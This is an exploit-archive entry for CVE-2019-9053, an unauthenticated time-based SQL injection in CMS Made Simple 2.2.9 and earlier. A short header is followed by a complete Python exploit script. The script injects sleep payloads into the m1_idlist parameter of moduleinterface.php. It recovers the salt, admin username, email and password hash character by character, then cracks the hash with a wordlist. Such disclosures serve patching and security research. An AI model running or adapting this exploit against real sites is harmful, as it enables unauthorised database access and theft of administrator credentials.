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CMS Made Simple SQL Injection

CMS Made Simple SQL Injection
Posted Apr 2, 2019
Authored by Daniele Scanu

CMS Made Simple versions prior to 2.2.10 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2019-9053
SHA-256 | 15dcb3716a8e35a8688386af84e732041c8e06152ee9a78d1ef286a0e3c5b28b

CMS Made Simple SQL Injection

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#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist

def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()

def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])

def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt

def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password

def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True

def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
print colored("[*] Now try to crack password")
crack_password()

beautify_print()
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